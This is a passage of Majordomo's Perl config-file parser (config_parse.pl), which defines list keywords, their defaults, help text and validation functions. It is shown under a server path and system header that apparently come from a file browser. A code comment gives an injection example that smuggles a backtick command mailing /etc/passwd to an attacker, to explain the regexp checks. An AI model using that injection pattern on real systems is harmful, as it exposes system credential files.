| Current Path : /usr/local/majordomo/ |
FreeBSD hs32.drive.ne.jp 9.1-RELEASE FreeBSD 9.1-RELEASE #1: Wed Jan 14 12:18:08 JST 2015 root@hs32.drive.ne.jp:/sys/amd64/compile/hs32 amd64 |
| Current File : //usr/local/majordomo/config_parse.pl |
'di';
'ig00';
# A file to parse a majordomo mailing list config file
#
# writes into the global variable %main'config_opts
#
# $Header: /sources/cvsrepos/majordomo/config_parse.pl,v 1.71 2000/01/07 14:00:26 cwilson Exp $
# $Modified: Fri Jan 7 14:59:49 2000 by cwilson $
# this array holds the interesting info for use by all tools
%main'config_opts=();
require 'shlock.pl';
# here is the config package
package config;
$config'debug = 0; #Set to non-zero for various debugging levels
$clobber = 1; # if 0 don't empty previous list entries for configuration
@errors = (); # The config'errors array is used to store error messages
# if the array is not empty, it causes main'get_config()
# to return 1.
$installing_defaults = 0; # Set to 1 when installing defaults, in case
# a grab_ function needs to act differently
# when dealing with a default item.
## Begin<doc>
## The following associative arrays are used:
##
## %known_keys(keyword,default value) -- defines the known keys in the
## config file. A null value implies that the
## string is undefined. A default value with '#!'
## at the beginning causes the string to be
## eval'ed. This is useful for substituting the
## list name etc into the string. If the keyword
## takes on a descrete set of values, the
## parse function MUST be grab_enum. The value of
## known_keys is the list of
## enumerated values. The separator character is
## "\001". Added onto the end is the default
## value. If the value can take on numerous
## values (i.e. is an array), the value is a
## string with each element in the array
## separated by "\001".
##
## %comments(keyword, comment) -- keeps comments for each keyword
## The comments are printed out when making a config
## file. So that they will document the use of
## the keyword.
##
## %parse_function(key, function) -- The function to use to parse the
## value for a given key. All functions for this
## purpose begin with "grab_", and are in package
## config. The type of the function can be
## appended with __<type> to the name of the
## function. There are some special names for
## some of the functions. Any function that
## allows array values must end in _array. This
## allows the main parser to determine that an
## array syntax is allowable for the keyword.
##
## %subsystem(keyword, subsystem) -- tells what subsystem each keyword
## belongs to. By default only majordomo, and
## resend are used as subsystems. This is meant
## for extentions such as majordomo-mh that
## allows access to the mh mail package via
## majordomo.
## End<doc>
# provide list of known keys. If value is '', then the key is undefined
# I.e. the action is just as though there was no keyword found.
# otherwise the value is the default value for the keyword.
# if the value starts with #!, the rest of the value is eval'ed
%known_keys = (
'welcome', 'yes', # send welcome msg to new subscribers
'announcements', 'yes', # send sub/unsub audits to list owner
'get_access', "open\001closed\001list\001list", # open, anyone can access
'index_access', "open\001closed\001list\001open", # closed, nobody can
'who_access', "open\001closed\001list\001open", # list, only list can access.
'which_access', "open\001closed\001list\001open", # ...more to come...
'info_access', "open\001closed\001list\001open", #
'intro_access', "open\001closed\001list\001list", #
'advertise', '', # if regexp matches address show list
'noadvertise', '', # if regexp matches address
# don't show list
'description', '', # description of list, one line 55 char
'subscribe_policy', "open\001closed\001auto\001open+confirm\001closed+confirm\001auto+confirm\001#!\$default_subscribe_policy ? \$default_subscribe_policy : 'open'",
# open, closed, or auto.
'unsubscribe_policy', "open\001closed\001auto\001open+confirm\001closed+confirm\001auto+confirm\001#!\$default_unsubscribe_policy ? \$default_unsubscribe_policy : 'open'",
# open, closed, or auto.
'mungedomain', 'no', # is user@foo.com == user@host.foo.com
'admin_passwd', '#!"$list.admin"', # administration password
'strip', 'yes', # remove comments from address on list
'date_info', 'yes', # date the info file when installed
'date_intro', 'yes', # date the intro file when installed
'archive_dir', '',
# When it works use '#!$main\'filedir . "/" . $list',
# stuff for resend below
'moderate', 'no', # Is list moderated
'moderator', '', # moderator instead of owner-list
'approve_passwd', '#!"$list.pass"',
# password for approving postings
'sender', '#!"owner-" . $list', # Set sender name
'maxlength', '40000', # Set max article length
'precedence', 'bulk', # Set/install precendence header
'reply_to', '#! local($TEMP) = $list;
if ( $list =~ /-digest$/) {
$TEMP =~ s/-digest$//;
$TEMP;
} else {
"";
}',
# Set/install reply-to header
# the code above sets the reply-to
# to null if it is not a -digest list,
# or the non-digest list if it is
# a -digest list.
'restrict_post', '', # Like -I in resend
'purge_received', 'no', # Remove received lines
'administrivia', 'yes',# Enable administrivia checks
'resend_host', '', # Change the host name
'debug', 'no', # enable resend debugging
'message_fronter', '',
'message_footer', '', # text to be added at bottom of posting
'message_headers', '', # headers to be added to messsages
'subject_prefix', '', # prefix for the subject line
'sequence_prefix', '',
'taboo_headers', '', # if a header matches, review message
'taboo_body', '', # if body matches, review message
# stuff for digest below
'digest_volume', '1',
'digest_issue', '1',
'digest_work_dir', '',
'digest_name', '#!$list',
'digest_archive', '',
'digest_rm_footer', '',
'digest_rm_fronter', '',
'digest_maxlines', '',
'digest_maxdays', '',
# general stuff below
'comments', '', # comments about config file
);
# An associative array of comments for all of the keys
# The text is wrapped and filled on output.
%comments = (
'welcome',
"If set to yes, a welcome message (and optional 'intro' file) will be
sent to the newly subscribed user.",
'announcements',
"If set to yes, comings and goings to the list will be sent to the list
owner. These SUBSCRIBE/UNSUBSCRIBE event announcements are informational
only (no action is required), although it is highly recommended that they
be monitored to watch for list abuse.",
'get_access',
"One of three values: open, list, closed. Open allows anyone
access to this command and closed completely disables the
command for everyone. List allows only list members access,
or if restrict_post is defined, only the addresses in those
files are allowed access.",
'index_access',
"One of three values: open, list, closed. Open allows anyone
access to this command and closed completely disables the
command for everyone. List allows only list members access,
or if restrict_post is defined, only the addresses in those
files are allowed access.",
'who_access',
"One of three values: open, list, closed. Open allows anyone
access to this command and closed completely disables the
command for everyone. List allows only list members access,
or if restrict_post is defined, only the addresses in those
files are allowed access.",
'which_access',
"One of three values: open, list, closed. Open allows anyone
access to this command and closed completely disables the
command for everyone. List allows only list members access,
or if restrict_post is defined, only the addresses in those
files are allowed access.",
'info_access',
"One of three values: open, list, closed. Open allows anyone
access to this command and closed completely disables the
command for everyone. List allows only list members access,
or if restrict_post is defined, only the addresses in those
files are allowed access.",
'intro_access',
"One of three values: open, list, closed. Open allows anyone
access to this command and closed completely disables the
command for everyone. List allows only list members access,
or if restrict_post is defined, only the addresses in those
files are allowed access.",
'advertise',
"If the requestor email address matches one of these
regexps, then the list will be listed
in the output of a lists command.
Failure to match any regexp excludes the list from
the output. The regexps under noadvertise override these regexps.",
'comments',
"Comment string that will be retained across config file rewrites.",
'noadvertise',
"If the requestor name matches one of these
regexps, then the list will not be listed
in the output of a lists command.
Noadvertise overrides advertise.",
'description',
"Used as description for mailing list
when replying to the lists command.
There is no quoting mechanism, and
there is only room for 50 or so
characters.",
'subscribe_policy',
"One of three values: open, closed, auto; plus an optional
modifier: '+confirm'. Open allows people to subscribe themselves to
the list. Auto allows anybody to subscribe anybody to the list without
maintainer approval. Closed requires maintainer approval for all
subscribe requests to the list. Adding '+confirm', ie,
'open+confirm', will cause majordomo to send a reply back to the
subscriber which includes a authentication number which must be sent
back in with another subscribe command.",
'unsubscribe_policy',
"One of three values: open, closed, auto; plus an optional modifier:
'+confirm'. Open allows people to unsubscribe themselves from the
list. Auto allows anybody to unsubscribe anybody to the list without
maintainer approval. The existence of the file <listname>.auto is the
same as specifying the value auto. Closed requires maintainer
approval for all unsubscribe requests to the list. In addition to the
keyword, if the file <listname>.closed exists, it is the same as
specifying the value closed. Adding '+confirm', ie, 'auto+confirm',
will cause majordomo to send a reply back to the subscriber if the
request didn't come from the subscriber. The reply includes a
authentication number which must be sent back in with another
subscribe command. The value of this keyword overrides the value
supplied by any existent files.",
'mungedomain',
"If set to yes, a different method is used to determine a matching
address. When set to yes, addresses of the form user\@dom.ain.com are
considered equivalent to addresses of the form user\@ain.com. This
allows a user to subscribe to a list using the domain address rather
than the address assigned to a particular machine in the domain. This
keyword affects the interpretation of addresses for subscribe,
unsubscribe, and all private options.",
'admin_passwd',
"The password for handling administrative
tasks on the list.",
'strip',
"When adding address to the list, strip off all
comments etc, and put just the raw address in the
list file. In addition to the keyword, if the file
<listname>.strip exists, it is the same as
specifying a yes value. That yes value is overridden
by the value of this keyword.",
'date_info',
"Put the last updated date for the info file at the
top of the info file rather than having it appended
with an info command. This is useful if the file is being
looked at by some means other than majordomo (e.g. finger).",
'date_intro',
"Put the last updated date for the intro file at the
top of the intro file rather than having it appended
with an intro command. This is useful if the file is being
looked at by some means other than majordomo (e.g. finger).",
'moderate',
"If yes, all postings to the list will be
bounced to the moderator for approval.",
'moderator',
"Address for directing posts which require approval. Such
approvals might include moderated mail, administrivia traps,
and restrict_post authorizations. If the moderator address
is not set, it will default to the list-approval address.",
'approve_passwd',
"Password to be used in the approved header
to allow posting to moderated list, or
to bypass resend checks.",
'sender',
"The envelope and sender address for the
resent mail. This string has \"\@\" and the value
of resend_host appended to it to make a
complete address. For majordomo, it provides the sender address
for the welcome mail message generated as part of the subscribe command.",
'maxlength',
"The maximum size of an unapproved message in characters. When used
with digest, a new digest will be automatically generated if the size
of the digest exceeds this number of characters.",
'precedence',
"Put a precedence header with value <value>
into the outgoing message.",
'reply_to',
"Put a reply-to header with value <value>
into the outgoing message. If the token \$SENDER is used, then the
address of the sender is used as the value of the reply-to header.
This is the value of the reply-to header for digest lists.",
'restrict_post',
"If defined, only addresses listed in these files (colon or
space separated) can post to the mailing list. By default,
these files are relative to the lists directory. These files
are also checked when get_access, index_access, info_access,
intro_access, which_access, or who_access is set to 'list'.
This is less useful than it seems it should be since there
is no way to create these files if you do not have access to
the machine running resend. This mechanism will be replaced
in a future version of majordomo/resend.",
'resend_host',
"The host name that is appended to all address
strings specified for resend.",
'purge_received',
"Remove all received lines before resending the message.",
'administrivia',
"Look for administrative requests (e.g. subscribe/unsubscribe) and forward
them to the list maintainer instead of the list.",
'debug',
"Don't actually forward message, just go though the motions.",
'archive_dir',
"The directory where the mailing list archive is kept. This item does
not currently work. Leave it blank.",
'message_fronter',
"Text to be prepended to the beginning of all messages posted to the list.
The text is expanded before being used. The following expansion tokens
are defined: \$LIST - the name of the current list, \$SENDER - the
sender as taken from the from line, \$VERSION, the version of
majordomo. If used in a digest, only the expansion token _SUBJECTS_ is
available, and it expands to the list of message subjects in the digest",
'message_footer',
"Text to be appended at the end of all messages posted to the list.
The text is expanded before being used. The following expansion tokens
are defined: \$LIST - the name of the current list, \$SENDER - the
sender as taken from the from line, \$VERSION, the version of
majordomo. If used in a digest, no expansion tokens are provided",
'message_headers',
"These headers will be appended to the headers of the posted message.
The text is expanded before being used. The following expansion tokens
are defined: \$LIST - the name of the current list, \$SENDER - the
sender as taken from the from line, \$VERSION, the version of
majordomo.",
'subject_prefix',
"This word will be prefixed to the subject line, if it is not already
in the subject. The text is expanded before being used. The following
expansion tokens are defined: \$LIST - the name of the current list,
\$SENDER - the sender as taken from the from line, \$VERSION, the
version of majordomo.",
'taboo_headers',
"If any of the headers matches one of these regexps, then the message
will be bounced for review.",
'taboo_body',
"If any line of the body matches one of these regexps, then the message
will be bounced for review.",
'digest_volume',
"The current volume number",
'digest_issue',
"The issue number of the next issue",
'digest_work_dir',
"The directory used as scratch space for digest. Don't
change this unless you know what you are doing",
'digest_name',
"The subject line for the digest. This string has the volume
and issue appended to it.",
'digest_archive',
"The directory where the digest archive is kept. This item does
not currently work. Leave it blank.",
'digest_rm_footer', "The value is the name of the list that applies
the header and footers to the messages that are received by
digest. This allows the list supplied headers and footers to be
stripped before the messages are included in the digest.",
'digest_rm_fronter',
'Works just like digest_rm_footer, except it removes the front material.',
'digest_maxlines',
"automatically generate a new digest when the size of the digest exceeds
this number of lines.",
'digest_maxdays',
"automatically generate a new digest when the age of the oldest article in
the queue exceeds this number of days.",
);
# match commands to their subsystem, by default only 4 subsystems
# exist, majordomo, resend, digest and config.
%subsystem = (
'welcome', 'majordomo',
'announcements', 'majordomo',
'get_access', 'majordomo',
'index_access', 'majordomo',
'info_access', 'majordomo',
'intro_access', 'majordomo',
'who_access', 'majordomo',
'which_access', 'majordomo',
'advertise', 'majordomo',
'noadvertise', 'majordomo',
'description', 'majordomo',
'subscribe_policy', 'majordomo',
'unsubscribe_policy', 'majordomo',
'mungedomain', 'majordomo',
'admin_passwd', 'majordomo',
'strip', 'majordomo',
'date_info', 'majordomo',
'date_intro', 'majordomo',
'archive_dir', 'majordomo',
# stuff for resend below
'moderate', 'resend',
'moderator', 'resend',
'approve_passwd', 'resend',
'sender', 'majordomo,resend,digest',
'maxlength', 'resend,digest',
'precedence', 'resend,digest',
'reply_to', 'resend,digest',
'restrict_post', 'resend',
'purge_received', 'resend',
'administrivia', 'resend',
'resend_host', 'resend',
'debug', 'resend',
'message_fronter', 'resend,digest',
'message_footer', 'resend,digest',
'message_headers', 'resend,digest',
'subject_prefix', 'resend',
'sequence_prefix', 'resend',
'taboo_headers', 'resend',
'taboo_body', 'resend',
# digest here
'digest_volume', 'digest',
'digest_issue', 'digest',
'digest_work_dir', 'digest',
'digest_name', 'digest',
'digest_archive', 'digest',
'digest_rm_footer', 'digest',
'digest_rm_fronter', 'digest',
'digest_maxlines', 'digest',
'digest_maxdays', 'digest',
# general stuff here
'comments', 'config',
);
# match a parse function to a keyword
# the parse function will be called to parse the value string for
# the keyword
%parse_function = (
'welcome', 'grab_bool',
'announcements', 'grab_bool',
'get_access', 'grab_enum',
'index_access', 'grab_enum',
'info_access', 'grab_enum',
'intro_access', 'grab_enum',
'who_access', 'grab_enum',
'which_access', 'grab_enum',
'advertise', 'grab_regexp_array',
'noadvertise', 'grab_regexp_array',
'description', 'grab_string',
'subscribe_policy', 'grab_enum',
'unsubscribe_policy', 'grab_enum',
'mungedomain', 'grab_bool',
'admin_passwd', 'grab_word',
'strip', 'grab_bool',
'date_info', 'grab_bool',
'date_intro', 'grab_bool',
'archive_dir', 'grab_absolute_dir',
# stuff for resend below
'moderate', 'grab_bool',
'moderator', 'grab_word',
'approve_passwd', 'grab_word',
'sender', 'grab_word',
'maxlength', 'grab_integer',
'precedence', 'grab_word',
'reply_to', 'grab_word',
'restrict_post', 'grab_restrict_post',
'purge_received', 'grab_bool',
'administrivia', 'grab_bool',
'resend_host', 'grab_word',
'debug', 'grab_bool',
'message_fronter', 'grab_string_array',
'message_footer', 'grab_string_array',
'message_headers', 'grab_string_array',
'subject_prefix', 'grab_word',
'sequence_prefix', 'grab_word',
'taboo_headers', 'grab_regexp_array',
'taboo_body', 'grab_regexp_array',
# stuff for digest below
'digest_volume', 'grab_integer',
'digest_issue', 'grab_integer',
'digest_work_dir', 'grab_absolute_dir',
'digest_name', 'grab_string',
'digest_directory', 'grab_absolute_dir',
'digest_archive', 'grab_absolute_dir',
'digest_rm_footer', 'grab_word',
'digest_rm_fronter', 'grab_word',
'digest_maxlines', 'grab_integer',
'digest_maxdays', 'grab_integer',
# general stuff below
'comments', 'grab_string_array',
);
#### writeconfig
# is called to create up a default config file
# if majordomo runs and access a list for which no config
# file exists. The config file must already be locked.
#
# It is also called in response to the majordomo command "writeconfig"
sub writeconfig {
local($listdir,$list) = @_;
local($key,$intro,$type,$value,$default,$subsystem,$comment) = ();
local($op) = '=';
local($oldumask) = umask($config_umask);
format OUT =
@<<<<<<<<<<<<<<<<<<< @<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
$key, $intro
^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< ~~
$comment
@<<<<<<<<<<<<<<<<<< @<< @<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
$key, $op, $value
.
&main'open_temp(OUT, "$listdir/$list.config.out")
|| &main'abort("Can't create new config file $listdir/$list.config.out");
umask($oldumask);
$installing_defaults = 1;
foreach $key (sort (keys(%known_keys))) {
local($enum,@enum);
undef $enum;
$type = $parse_function{$key};
$type =~ s/^grab_//; # remove the grab_ prefix
$type =~ s/^.*__//; # If we have an explicit type, get it
@enum = split(/\001/,$known_keys{$key}) if $type eq "enum";
$default = pop(@enum); # Remove the default
$value = $main'config_opts{$list,$key};#';
$value = ("no","yes")[$value] if $type eq "bool";
$default = ($known_keys{$key} eq ''
? "undef"
: &get_def($key, $known_keys{$key}, $list));
$default = ("no","yes")[$default] if $type eq "bool";
$default =~ s/\001/;/g;
$subsystem = $subsystem{$key};
$enums = join(';',@enum[$[..$#enum]) if $type eq "enum";
$intro = "[$type] ($default) <$subsystem>";
$intro .= " /$enums/" if $type eq "enum";
$comment = (defined $comments{$key} ? $comments{$key} : " ");
if ($type =~ /_array/) {
# output items in array normal form
local($lval) = $value;
$value = "END";
$op = '<<';
write(OUT);
# handle the - escapes. We have to be careful about ordering
# the rules so that we don't accidently trigger a substitution
# if there is a - at the beginning of an entry, double it
# so that the doubled - can be striped when read in later
$lval =~ s/^-/--/g; # start with -'ed line
$lval =~ s/\001-/\001--/g; # embedded line starting with -
# In standard form, empty lines are lines that have only
# a '-' on the line.
$lval =~ s/^\001/-\001/g; # start with blank line
$lval =~ s/\001\001/\001-\001/g; # embedded blank line
$lval =~ s/\001$/\001-/g; # trailing blank line
# if there is space, protect it with a -
$lval =~ s/^(\s)/-$1/g; # the first line
$lval =~ s/\001(\s)/\001-$1/g; # embedded lines
# now that all of the escapes are processed, get it ready
# to be printed.
$lval =~ s/\001/\n/g;
print OUT $lval, "\nEND\n"
|| &main'abort("Error writing config file for $list, $!");
$op = '=';
} else {
write(OUT)
|| &main'abort("Error writing config file for $list, $!");
}
}
$installing_defaults = 0;
close(OUT);
# I have to post process the output to put the %#@^& comment character
# in. I can't do this in a forked process without getting a mix of the
# stdin to the parent and the child with Perl 4.019.
open(MCONFIG, "> $listdir/$list.config") ||
&main'abort( "Can't create new config file $listdir/$list.config");
print MCONFIG <<EOS;
# The configuration file for a majordomo mailing list.
# Comments start with the first # on a line, and continue to the end
# of the line. There is no way to escape the # character. The file
# uses either a key = value for simple (i.e. a single) values, or uses
# a here document
# key << END
# value 1
# value 2
# [ more values 1 per line]
# END
# for installing multiple values in array types. Note that the here
# document delimiter (END in the example above) must be the same at the end
# of the list of entries as it is after the << characters.
# Within a here document, the # sign is NOT a comment character.
# A blank line is allowed only as the last line in the here document.
#
# The values can have multiple forms:
#
# absolute_dir -- A root anchored (i.e begins with a /) directory
# absolute_file -- A root anchored (i.e begins with a /) file
# bool -- choose from: yes, no, y, n
# enum -- One of a list of possible values
# integer -- an integer (string made up of the digits 0-9,
# no decimal point)
# float -- a floating point number with decimal point.
# regexp -- A perl style regular expression with
# leading and trailing /'s.
# restrict_post -- a series of space or : separated file names in which
# to look up the senders address
# (restrict-post should go away to be replaced by an
# array of files)
# string -- any text up until a \\n stripped of
# leading and trailing whitespace
# word -- any text with no embedded whitespace
#
# A blank value is also accepted, and will undefine the corresponding keyword.
# The character Control-A may not be used in the file.
#
# A trailing _array on any of the above types means that that keyword
# will allow more than one value.
#
# Within a here document for a string_array, the '-' sign takes on a special
# significance.
#
# To embed a blank line in the here document, put a '-' as the first
# and ONLY character on the line.
#
# To preserve whitespace at the beginning of a line, put a - on the
# line before the whitespace to be preserved
#
# To put a literal '-' at the beginning of a line, double it.
#
#
# The default if the keyword is not supplied is given in ()'s while the
# type of value is given in [], the subsystem the keyword is used in is
# listed in <>'s. (undef) as default value means that the keyword is not
# defined or used.
EOS
open(IN, "< $listdir/$list.config.out") ||
&main'abort( "Can't create new config file $listdir/$list.config.out");
while (<IN>) {
s/^(\t)(\S+)/$1# $2/; # prepend a '# ' to any line with a tab at the
# beginning preserving indentation.
print(MCONFIG) ||
&main'abort("Couldn't write new config for $list, $!");
}
close(MCONFIG);
close(IN);
unlink("$listdir/$list.config.out");
}
#### handle_flag_files
# This is a compatibility routine for the non-config file
# based version of majordomo. It looks for the flag files, and
# sets the corresponding config file parameters.
sub handle_flag_files {
local($listdir, $list) = @_;
if ( -e "$listdir/$list.private") {
$main'config_opts{$list,"get_access"} = "closed";
$main'config_opts{$list,"index_access"} = "closed";
$main'config_opts{$list,"who_access"} = "closed";
$main'config_opts{$list,"which_access"} = "closed";
}
$main'config_opts{$list,"subscribe_policy"} = "closed"
if ( -e "$listdir/$list.closed");
$main'config_opts{$list,"unsubscribe_policy"} = "closed"
if ( -e "$listdir/$list.closed");
if ( -e "$listdir/$list.auto" && -e "$listdir/$list.closed") {
push(@errors,
"Both listname.auto and listname.closed exist. Choosing closed\n");
} else {
$main'config_opts{$list,"subscribe_policy"} = "auto"
if ( -e"$listdir/$list.auto");
$main'config_opts{$list,"unsubscribe_policy"} = "auto"
if ( -e"$listdir/$list.auto");
}
$main'config_opts{$list,"strip"} = 1 if ( -e "$listdir/$list.strip");
$main'config_opts{$list,"noadvertise"} = "/.*/"
if ( -e "$listdir/$list.hidden");
}
########
#
# The function that does all of the real work.
# Called with a list directory, a list name, and optionally a flag
# that indicates the config file is already locked if true (and
# should be left locked on return).
#
# List config file locking is different than other files in that a
# distinct lock file is used instead of just lopen() locking because
# it's easier to manage a persistent lock than to try to keep the file
# open (and thus locked) and pass the filehandle around.
#
sub main'get_config {
local($listdir, $list, $locked) = @_;
local($parse, $here_doc, $stop, $end) = ();
$end = 0;
@errors = ();
print STDERR "get_config($listdir, $list)\n" if $debug > 1;
if ($main'config_opts{$list} && $clobber) {
# hey a reload, better clobber all previous
# entries pertaining to this list
local($i);
print STDERR "unloading entries for $list\n" if $debug > 1;
foreach $i (keys(%known_keys)) {
undef $main'config_opts{$list,"$i"};
}
}
$main'config_opts{$list,''} = '1'; # set a flag to indicate that we
# have parsed the config file for
# this list
print STDERR "adding site-wide defaults\n" if $debug > 1;
$installing_defaults = 1;
foreach $i (keys(%known_keys)) {
$main'config_opts{$list,$i} =
&get_def($i, $known_keys{$i}, $list);
}
$installing_defaults = 0;
print STDERR "Overriding with existing config files\n" if $debug > 1;
&handle_flag_files($listdir, $list); # this looks for files of
# the form listname.function
unless ($locked) {
&main'set_lock("$listdir/$list.config.LOCK") ||
&main'abort( "Can't get lock for $listdir/$list.config");
}
print("making default\n")
if ($debug > 1) && (! -e "$listdir/$list.config");
&writeconfig($listdir, $list)
unless -e "$listdir/$list.config" ;
print STDERR "parsing config get_config($listdir, $list)\n" if $debug > 1;
open(CONFIG, "$listdir/$list.config")
|| &main'abort( "Can't open $listdir/$list.config");
while ($_ = <CONFIG>) {
next if /^\s*(#|$)/; # remove comment and blank lines
chop $_; # remove the trailing \n
s/#.*//; # remove comments at the end of lines
$here_doc = 0;
($key,$value) = split(/=/, $_, 2); # try splitting on =
if ($key =~ /\<\</) { # if it turns out that the split has << in it
($key,$value) = split(/\<\</, $_, 2); # then split on <<
$here_doc = 1; # and tell the later part of the parse
# that it is a here document
}
($key) =~ tr/A-Z/a-z/; # cannonicalize key to lower case
$key =~ s/^\s*//; # strip whitespace from front of key
$key =~ s/\s*$//; # strip whitespace from rear of key
$value =~ s/^\s*//; # strip whitespace from front of value
$value =~ s/\s*$//; # strip whitespace from rear of value
# is the key defined ?
do { push(@errors,"unknown key |$key| in file $list.config at line $.\n");
next; } if ( ! defined($known_keys{$key}));
# is the parse function defined?
do { push(@errors,
"unknown parse function for key |$key| in file $list.config at line $.\n");
next; } if ( ! defined($parse_function{$key}));
# assign the parse function toa simple variable for ease
# of use later on.
$parse = $parse_function{$key};
if (!$here_doc) { # if it is a simple value, take the
# output of the parse function as its value.
$main'config_opts{$list,$key} = &$parse($value, $list, $key);
} else { # iterate over the lines in the here doc.
# make sure the keyword is supposed to take array values
do { push(@errors,
"|$key| does not take multiple values at line $.\n");
next; } if ($parse !~ /_array$/) ;
$stop = $value; # set the end token
undef $main'config_opts{$list,$key}; # clear default value
# call the array parse function for each value in the here document
# this loop also makes sure that blank lines don't occur
# in the here doument except just beofre the end marker.
# This allows us to discover errors more easily.
while ($value = <CONFIG>) {
$value =~ s/^\s*//; # strip whitespace front
$value =~ s/\s*$//; # strip whitespace rear
$end = 0, last if $stop eq $value;
push(@errors,
"invalid blank line found at line ", $. - 1, "\n"), $end = 0,
last if $end == 1;
if ( $value eq '' ) { # stop accumulating on empty line
# unless it is right b4 $stop
$end = 1;
}
# call the parse function for every value in the here document
# take the output of the parse function and add it to the
# string representation of the array. In the string representation,
# array values are separated by the ^A character.
if (defined($main'config_opts{$list,$key})) {
$main'config_opts{$list,$key} .= "\001" .
&$parse($value, $list, $key);
} else { # we are starting an array
$main'config_opts{$list,$key} =
&$parse($value, $list, $key);
}
}
}
}
close(CONFIG);
&main'free_lock("$listdir/$list.config.LOCK") unless $locked;
print STDERR @errors if $debug > 1;
return 1 if @errors;
return 0;
}
#####
#
# The grab functions that validate values are defined below:
#
# grab_absolute_dir - looks for root anchored existing directory
# uses @main'safedirs to determine valid
# paths.
# grab_absolute_file - looks for root anchored existing file
# uses @main'safefiles to determine valid
# paths.
#
# grab_bool - parses boolean options "yes", "y", "no", "n"
#
# grab_enum -- validates an enumerated value from a sequence
#
# grab_integer -- validates an integer
#
# grab_regexp -- validates a regexp. Must have leading and trailing
# match delimiters.
#
# grab_restrict_post -- validates the existance of files listed
#
# grab_string -- reads/returns a string. No checking is done.
#
# grab_word - grabs one whitespace delimited word. Complains if more
# than 1 word.
####
sub grab_absolute_dir {
local($dir, $list, $key) = @_;
return("");
return ("") if $dir eq "undef";
return ("") if $dir eq "";
push(@errors, "Relative path element '..' in $dir is not allowed\n")
if $dir =~ m#/\.\./# ;
push(@errors, "Anchoring path element '.' in $dir is not allowed\n")
if $dir =~ m#/\./# ;
push(@errors, "$dir must be root anchored\n")
if $dir !~ m#^/# ;
foreach $i (@main'safedirs) {
if ($dir =~ m#$i#) {
return $dir if ( -d $dir );
push(@errors, "Directory $dir doesn't exist\n");
return "";
}
}
push(@errors, "Directory $dir is not safe\n");
return "";
}
sub grab_absolute_file {
local($file) = @_;
return("");
push(@errors, "Relative path element '..' in $file is not allowed\n")
if $file =~ m#/\.\./# ;
push(@errors, "Anchoring path element '.' in $file is not allowed\n")
if $file =~ m#/\./# ;
push(@errors, "$file must be root anchored\n")
if $file != m#^/# ;
foreach $i (@main'safefiles) {
if ($file =~ "m#$i#") {
return $file if ( -f $file );
push(@errors, "File $file doesn't exist\n");
return "";
}
}
push(@errors, "File $file is not safe\n");
return "";
}
sub grab_bool {
local($bool) = @_;
$bool =~ tr/A-Z/a-z/;
return 1 if $bool eq "yes";
return 1 if $bool eq "y";
return 0 if $bool eq "no";
return 0 if $bool eq "n";
push(@errors,"Unknown boolean value $bool in config file at line $.\n");
return 0;
}
sub grab_enum {
local($value, $list, $key) = @_;
local($i, @enum) = "";
local($default_value) = "";
if ($installing_defaults) { # the value when installing defaults is
# the entire enumerated list, with the
# default at the end
@enum = split(/\001/, $value);
$value = pop(@enum);
$default_value = $value;
if ( $value =~ s/^#!// ) {
$default_value = $value;
$value = eval("$value");
push(@errors, $@) if $@ ne "";
}
#
# duplicate here for better error message during
# default setup.
#
foreach $i (@enum) {
return $value if $value eq $i;
}
push(@errors, "$value at line $. is not a valid value.\n" .
"This value was taken from the default list.\n" .
"It was produced by $default_value\n" .
"So it is likely to be taken from majordomo.cf.\n" .
"BTW, the line number shown here is the line number of the last line and not relevant.\n" .
"The key to which the value was assigned was $key " . "\n" .
"Valid values are: " . join(';', @enum) . "\nlist was $list" );
return "";
} else {
@enum = split(/\001/, $known_keys{$key});
pop(@enum);
}
foreach $i (@enum) {
return $value if $value eq $i;
}
push(@errors, "$value at line $. is not a valid value.\n" .
"Valid values are: " . join(';', @enum) . "\nlist was $list" .
" the key was $key " . "\n" .
"installing_default was $installing_defaults" . "\n");
return "";
}
sub grab_integer {
local($num, $list, $key)=@_;
return($num) if $num =~ /^[1-9][0-9]*$/;
return($num) if $num =~ /^$/;
push(@errors, "$num is not an integer at line $.\n");
return "";
}
sub grab_integer_array {
local($value, $list, $key) = @_;
local(@value_array) = split(/\001/,$value);
local(@return_array, @local_errors, $num) = ();
foreach $num (@value_array){
push(@local_errors,
"integer |$num| contains a ^A at line $.\n"), next
if $re =~ /\001/;
push(@return_array, $num) if $num =~ /^[1-9][0-9]*$/;
push(@return_array, $num) if $num =~ /^$/;
push(@local_errors, "$num is not an integer at line $.\n");
}
if (@local_errors) {
push(@errors, @local_errors);
return "";
}
return (join("\001", @return_array));
}
sub grab_float {
local($num)=@_;
return($num) if $num =~ /^[0-9][0-9]*\.[0-9]+$/;
return($num) if $num =~ /^$/;
push(@errors, "$num is not a floating point number at line $.\n");
return "";
}
sub grab_float_array {
local($value, $list, $key) = @_;
local(@value_array) = split(/\001/,$value);
local(@return_array, @local_errors, $num) = ();
foreach $num (@value_array){
push(@local_errors,
"integer |$num| contains a ^A at line $.\n"), next
if $re =~ /\001/;
push(@return_array, $num) if $num =~ /^[1-9][0-9]*\.[0-9]+$/;
push(@return_array, $num) if $num =~ /^$/;
push(@local_errors,
"$num is not an floating point number at line $.\n");
}
if (@local_errors) {
push(@errors, @local_errors);
return "";
}
return (join("\001", @return_array));
}
sub grab_regexp_array {
local($value, $list, $key) = @_;
local(@re_array) = split(/\001/,$value);
local(@return_re, @re_errors, $re, $dlm) = ();
foreach $re (@re_array){
if ($re =~ /\001/) {
push(@re_errors,
"regular expression |$re| contains a ^A at line $.\n");
}
# if we don't check for an extra deliminator here, an
# evil person could sneak stuff in here, since it
# is eval'd...
# Ie:
# advertise = << END
# m:yyy: ; `/bin/mail evil_hacker < /etc/passwd` ; "bar" =~ m:yyy:
# END
#
elsif ($re !~ m:^((/)|m([^\w\s])):) {
push(@re_errors,
"|$re| not a valid pattern match expression at line $.\n");
}
else {
$dlm=($2||$3);
if ($re !~ m:^m?$dlm[^\\$dlm]*(\\.[^\\$dlm]*)*$dlm[gimosx]*$:) {
push(@re_errors,
"|$re| not a valid pattern match expression at line $.\n");
}
elsif (eval "'' =~ $re", $@) {
push(@re_errors, $@);
}
else {
push(@return_re, $re);
}
}
}
if (@re_errors) {
push(@errors, @re_errors);
return "";
}
return (join("\001", @return_re));
}
sub grab_restrict_post {
